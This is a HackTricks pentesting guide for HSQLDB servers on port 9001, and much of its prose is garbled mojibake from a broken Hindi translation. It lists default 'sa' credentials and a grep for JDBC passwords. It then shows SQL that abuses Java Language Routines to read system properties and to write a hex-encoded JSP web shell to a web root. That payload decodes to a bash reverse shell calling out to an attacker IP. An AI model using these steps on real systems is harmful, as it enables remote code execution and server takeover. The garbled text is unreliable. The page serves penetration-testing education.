hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

7.1 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

HSQLDB (HyperSQL DataBase) рдПрдХ рдкреНрд░рдореБрдЦ SQL рд░рд┐рд▓реЗрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ Java рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдПрдХ рдЫреЛрдЯрд╛, рддреЗрдЬ рдорд▓реНрдЯреАрдереНрд░реЗрдбреЗрдб рдФрд░ рдЯреНрд░рд╛рдВрдЬреИрдХреНрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдЗрдВрдЬрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЗрди-рдореЗрдореЛрд░реА рдФрд░ рдбрд┐рд╕реНрдХ-рдЖрдзрд╛рд░рд┐рдд рдЯреЗрдмрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдПрдореНрдмреЗрдбреЗрдб рдФрд░ рд╕рд░реНрд╡рд░ рдореЛрдб рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Information

Default Settings

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рд╕реЗрд╡рд╛ рд╕рдВрднрд╡рддрдГ рдореЗрдореЛрд░реА рдореЗрдВ рдЪрд▓ рд░рд╣реА рд╣реИ рдпрд╛ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рд╕реЗ рдмрдВрдзреА рд╣реБрдИ рд╣реИред рдпрджрд┐ рдЖрдкрдиреЗ рдЗрд╕реЗ рдкрд╛рдпрд╛ рд╣реИ, рддреЛ рдЖрдкрдиреЗ рд╢рд╛рдпрдж рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЖрдорддреМрд░ рдкрд░ sa рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЦрд╛рд▓реА рд╣реЛрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдкрдиреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВред

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note the database name carefully - youтАЩll need it to connect.

Info Gathering

Connect to the DB instance by downloading HSQLDB and extracting hsqldb/lib/hsqldb.jar. Run the GUI app eww using java -jar hsqldb.jar and connect to the instance using the discovered/weak credentials.

Note the connection URL will look something like this for a remote system: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

We can call static methods of a Java class from HSQLDB using Java Language Routines. Do note that the called class needs to be in the applicationтАЩs classpath.

JRTs can be functions or procedures. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the VALUES statement.

If the Java method we want to call returns void, we need to use a procedure invoked with the CALL statement.

Reading Java System Properties

Create function:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

рдХрд╛рд░реНрдпрд╡рд╛рд╣реА рдлрд╝рдВрдХреНрд╢рди:

VALUES(getsystemproperty('user.name'))

рдЖрдк рдпрд╣рд╛рдБ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рд▓рд┐рдЦреЗрдВ

рдЖрдк com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename рдЬрд╛рд╡рд╛ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ JDK рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдХреНрд▓рд╛рд╕ рдкрд╛рде рдореЗрдВ рдСрдЯреЛ рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ рдХрд╕реНрдЯрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╕реНрдХ рдкрд░ рд╣реЗрдХреНрд╕-рдХреЛрдбреЗрдб рдЖрдЗрдЯрдо рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред 1024 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЕрдзрд┐рдХрддрдо рдЖрдХрд╛рд░ рдиреЛрдЯ рдХрд░реЗрдВред

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдПрдБ:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}